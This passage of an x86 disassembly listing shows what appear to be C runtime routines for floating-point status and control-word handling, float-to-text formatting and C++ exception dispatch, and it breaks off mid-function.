loc_421F8D:				; CODE XREF: sub_421F51+36j
		cmp	cx, 7FF0h
		jnz	short loc_421FA7
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421FA2
		cmp	[ebp+arg_0], edx
		jz	short loc_421FA7


loc_421FA2:				; CODE XREF: sub_421F51+4Aj
		push	4


loc_421FA4:				; CODE XREF: sub_421F51+15j
					; sub_421F51+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421FA7:				; CODE XREF: sub_421F51+41j
					; sub_421F51+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_421F51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421FAB(double,int)

sub_421FAB	proc near		; CODE XREF: sub_421BFF+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_421FCB
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_422061
; ---------------------------------------------------------------------------


loc_421FCB:				; CODE XREF: sub_421FAB+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42203A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421FE3
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42203A


loc_421FE3:				; CODE XREF: sub_421FAB+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_421FFB
		push	1
		pop	eax
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------


loc_421FFB:				; CODE XREF: sub_421FAB+49j
		xor	eax, eax


loc_421FFD:				; CODE XREF: sub_421FAB+4Ej
					; sub_421FAB+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_422016
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_422010
		or	dword ptr [ebp+arg_0+4], 1


loc_422010:				; CODE XREF: sub_421FAB+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------


loc_422016:				; CODE XREF: sub_421FAB+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_422024
		or	byte ptr [ebp+arg_0+7],	80h


loc_422024:				; CODE XREF: sub_421FAB+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_422061
; ---------------------------------------------------------------------------


loc_42203A:				; CODE XREF: sub_421FAB+28j
					; sub_421FAB+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_422061:				; CODE XREF: sub_421FAB+1Bj
					; sub_421FAB+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_421FAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42206C	proc near		; CODE XREF: sub_42194C+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42206C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42207A	proc near		; CODE XREF: sub_42194C+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42207A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422089	proc near		; CODE XREF: sub_41D055+13p
					; sub_41D055+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_422089	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4220AC	proc near		; CODE XREF: sub_421BFF+1Dp
					; sub_421BFF+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_4220C3
		fld	tbyte_43D408
		fistp	[ebp+arg_0]
		wait


loc_4220C3:				; CODE XREF: sub_4220AC+Bj
		test	cl, 8
		jz	short loc_4220D8
		fstsw	ax
		fld	tbyte_43D408
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_4220D8:				; CODE XREF: sub_4220AC+1Aj
		test	cl, 10h
		jz	short loc_4220E7
		fld	tbyte_43D414
		fstp	[ebp+var_8]
		wait


loc_4220E7:				; CODE XREF: sub_4220AC+2Fj
		test	cl, 4
		jz	short loc_4220F5
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_4220F5:				; CODE XREF: sub_4220AC+3Ej
		test	cl, 20h
		jz	short locret_422100
		fldpi
		fstp	[ebp+var_8]
		wait

locret_422100:				; CODE XREF: sub_4220AC+4Cj
		leave
		retn
sub_4220AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_422102	proc near		; CODE XREF: sub_41D124+Fp
		push	30000h
		push	10000h
		call	sub_424865
		pop	ecx
		pop	ecx
		retn
sub_422102	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422114	proc near		; CODE XREF: sub_422152:loc_422176j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427870
		fstp	[ebp+var_8]
		fld	dbl_427868
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_4276F8
		fnstsw	ax
		sahf
		jbe	short loc_42214E
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_42214E:				; CODE XREF: sub_422114+33j
		xor	eax, eax
		leave
		retn
sub_422114	endp


; =============== S U B	R O U T	I N E =======================================



sub_422152	proc near		; CODE XREF: sub_41D124+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 26A0E4Ah
		test	eax, eax
		jz	short loc_422176
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26D0000h
		test	eax, eax
		jz	short loc_422176
		push	0
		call	eax ; sub_41D124
		retn
; ---------------------------------------------------------------------------


loc_422176:				; CODE XREF: sub_422152+Dj
					; sub_422152+1Dj
		jmp	sub_422114
sub_422152	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42217B	proc near		; CODE XREF: sub_41FF3F+3CBp
					; DATA XREF: sub_41D13C+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41DFEC
		cmp	eax, 65h
		pop	ecx
		jz	short loc_4221BB


loc_42218F:				; CODE XREF: sub_42217B+3Ej
		inc	esi
		cmp	dword_43D084, 1
		jle	short loc_4221A8
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4221B7
; ---------------------------------------------------------------------------


loc_4221A8:				; CODE XREF: sub_42217B+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4221B7:				; CODE XREF: sub_42217B+2Bj
		test	eax, eax
		jnz	short loc_42218F


loc_4221BB:				; CODE XREF: sub_42217B+12j
		mov	cl, byte_43D088
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_4221C6:				; CODE XREF: sub_42217B+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_4221C6
		pop	esi
		retn
sub_42217B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4221D5	proc near		; CODE XREF: sub_41FF3F+3E2p
					; DATA XREF: sub_41D13C+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43D088
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4221F1


loc_4221E5:				; CODE XREF: sub_4221D5+1Aj
		cmp	cl, dl
		jz	short loc_4221F1
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_4221E5


loc_4221F1:				; CODE XREF: sub_4221D5+Ej
					; sub_4221D5+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_422222


loc_4221F8:				; CODE XREF: sub_4221D5+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42220B
		cmp	cl, 65h
		jz	short loc_42220B
		cmp	cl, 45h
		jz	short loc_42220B
		inc	eax
		jmp	short loc_4221F8
; ---------------------------------------------------------------------------


loc_42220B:				; CODE XREF: sub_4221D5+27j
					; sub_4221D5+2Cj ...
		mov	ecx, eax


loc_42220D:				; CODE XREF: sub_4221D5+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42220D
		cmp	[eax], dl
		jnz	short loc_422218
		dec	eax


loc_422218:				; CODE XREF: sub_4221D5+40j
					; sub_4221D5+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_422218

locret_422222:				; CODE XREF: sub_4221D5+21j
		retn
sub_4221D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_422223	proc near		; DATA XREF: sub_41D13C+28o
					; ___:off_43D430o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jb	short loc_422238
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422238:				; CODE XREF: sub_422223+Fj
		xor	eax, eax
		retn
sub_422223	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42223B	proc near		; CODE XREF: sub_420DB0+430p
					; DATA XREF: sub_41D13C+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_422264
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424D28
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422264:				; CODE XREF: sub_42223B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424D55
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42223B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422279	proc near		; CODE XREF: sub_4224F6+17p
					; sub_422540+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DBE5C, 0
		push	ebx
		push	esi
		jz	short loc_4222AE
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DBE58
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_422591
		pop	ecx
		pop	ecx
		jmp	short loc_4222E6
; ---------------------------------------------------------------------------


loc_4222AE:				; CODE XREF: sub_422279+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_424DF9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424D82
		add	esp, 14h


loc_4222E6:				; CODE XREF: sub_422279+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_4222F2
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_4222F2:				; CODE XREF: sub_422279+73j
		test	ebx, ebx
		jle	short loc_42230A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43D088
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_42230A:				; CODE XREF: sub_422279+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DBE5C, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41C890
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_422331
		mov	byte ptr [ecx],	45h


loc_422331:				; CODE XREF: sub_422279+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_422376
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_422345
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_422345:				; CODE XREF: sub_422279+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_42235C
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_42235C:				; CODE XREF: sub_422279+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_422373
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_422373:				; CODE XREF: sub_422279+E7j
		add	[ecx+1], bl


loc_422376:				; CODE XREF: sub_422279+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_422279	endp


; =============== S U B	R O U T	I N E =======================================



sub_42237D	proc near		; CODE XREF: sub_42251D+13p
					; sub_422540+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DBE5C, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_4223B8
		mov	eax, dword_4DBE60
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DBE58
		cmp	eax, ebx
		jnz	short loc_4223E8
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_4223E8
; ---------------------------------------------------------------------------


loc_4223B8:				; CODE XREF: sub_42237D+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_424DF9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424D82
		add	esp, 14h


loc_4223E8:				; CODE XREF: sub_42237D+22j
					; sub_42237D+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_4223F6
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_4223F6:				; CODE XREF: sub_42237D+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_42240D
		push	1
		push	edi
		call	sub_422591
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_42240F
; ---------------------------------------------------------------------------


loc_42240D:				; CODE XREF: sub_42237D+7Ej
		add	edi, eax


loc_42240F:				; CODE XREF: sub_42237D+8Ej
		test	ebx, ebx
		jle	short loc_422454
		push	1
		push	edi
		call	sub_422591
		mov	al, byte_43D088
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_422454
		cmp	byte_4DBE5C, 0
		jz	short loc_422439
		neg	esi
		jmp	short loc_42243F
; ---------------------------------------------------------------------------


loc_422439:				; CODE XREF: sub_42237D+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_422441


loc_42243F:				; CODE XREF: sub_42237D+BAj
		mov	ebx, esi


loc_422441:				; CODE XREF: sub_42237D+C0j
		push	ebx
		push	edi
		call	sub_422591
		push	ebx
		push	30h
		push	edi
		call	sub_41BF70
		add	esp, 14h


loc_422454:				; CODE XREF: sub_42237D+94j
					; sub_42237D+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42237D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42245B	proc near		; CODE XREF: sub_422540+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_424DF9
		mov	dword_4DBE58, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DBE60, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424D82
		mov	eax, dword_4DBE58
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DBE60, ecx
		setl	cl
		mov	byte_4DBE64, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DBE60, eax
		jl	short loc_4224E1
		cmp	eax, ebx
		jge	short loc_4224E1
		test	cl, cl
		jz	short loc_4224D2


loc_4224C8:				; CODE XREF: sub_42245B+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_4224C8
		and	[esi-2], al


loc_4224D2:				; CODE XREF: sub_42245B+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_42251D
		add	esp, 0Ch
		jmp	short loc_4224F1
; ---------------------------------------------------------------------------


loc_4224E1:				; CODE XREF: sub_42245B+63j
					; sub_42245B+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_4224F6
		add	esp, 10h


loc_4224F1:				; CODE XREF: sub_42245B+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42245B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4224F6	proc near		; CODE XREF: sub_42245B+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DBE5C, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_422279
		and	byte_4DBE5C, 0
		add	esp, 10h
		retn
sub_4224F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42251D	proc near		; CODE XREF: sub_42245B+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DBE5C, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_42237D
		and	byte_4DBE5C, 0
		add	esp, 0Ch
		retn
sub_42251D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422540	proc near		; CODE XREF: sub_41FF3F+3AAp
					; DATA XREF: sub_41D13Co ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 45h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 66h
		jnz	short loc_422568
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42237D
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422568:				; CODE XREF: sub_422540+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42245B
		jmp	short loc_42258C
; ---------------------------------------------------------------------------


loc_42257B:				; CODE XREF: sub_422540+7j
					; sub_422540+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422279


loc_42258C:				; CODE XREF: sub_422540+39j
		add	esp, 10h
		pop	ebp
		retn
sub_422540	endp


; =============== S U B	R O U T	I N E =======================================



sub_422591	proc near		; CODE XREF: sub_422279+2Cp
					; sub_42237D+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_4225B4
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41D670
		add	esp, 10h
		pop	esi


loc_4225B4:				; CODE XREF: sub_422591+7j
		pop	edi
		retn
sub_422591	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B6	proc near		; CODE XREF: ___:0041D31Cp
					; sub_41D385+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_4225CC
		call	sub_422E52


loc_4225CC:				; CODE XREF: sub_4225B6+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_4225F4
		cmp	dword ptr [esi+4], 0
		jz	short loc_42264A
		cmp	[ebp+arg_14], 0
		jnz	short loc_42264A
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_4228FD
		add	esp, 10h
		jmp	short loc_42264A
; ---------------------------------------------------------------------------


loc_4225F4:				; CODE XREF: sub_4225B6+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_42264A
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42262E
		cmp	[eax+14h], edi
		jbe	short loc_42262E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_42262E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_42264D
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_4225B6+4Aj
					; sub_4225B6+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_422651
		add	esp, 20h


loc_42264A:				; CODE XREF: sub_4225B6+23j
					; sub_4225B6+29j ...
		push	1
		pop	eax


loc_42264D:				; CODE XREF: sub_4225B6+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4225B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422651	proc near		; CODE XREF: sub_4225B6+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_422671
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_422676


loc_422671:				; CODE XREF: sub_422651+16j
		call	sub_422E52


loc_422676:				; CODE XREF: sub_422651+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		mov	esi, dword_4DBE68
		test	esi, esi
		jz	loc_4227C8
		mov	eax, dword_4DBE6C
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424F80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4226CC
		call	sub_422E52


loc_4226CC:				; CODE XREF: sub_422651+74j
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		call	sub_422E52


loc_4226EA:				; CODE XREF: sub_422651+41j
					; sub_422651+46j ...
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	loc_4227CD
		cmp	[esi+14h], edi
		jnz	loc_4227CD
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	ebx, eax


loc_422721:				; CODE XREF: sub_422651+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_4227B8
		cmp	[ebx], edi
		jg	short loc_4227AD
		cmp	edi, [ebx+4]
		jg	short loc_4227AD
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_4227AA


loc_422746:				; CODE XREF: sub_422651+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_422777


loc_422758:				; CODE XREF: sub_422651+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_4228A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_422786
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_422758


loc_422777:				; CODE XREF: sub_422651+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_422746
		jmp	short loc_4227AA
; ---------------------------------------------------------------------------


loc_422786:				; CODE XREF: sub_422651+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4229B1
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_4227AA:				; CODE XREF: sub_422651+F3j
					; sub_422651+133j
		mov	edi, [ebp+var_10]


loc_4227AD:				; CODE XREF: sub_422651+DEj
					; sub_422651+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_422721
; ---------------------------------------------------------------------------


loc_4227B8:				; CODE XREF: sub_422651+D6j
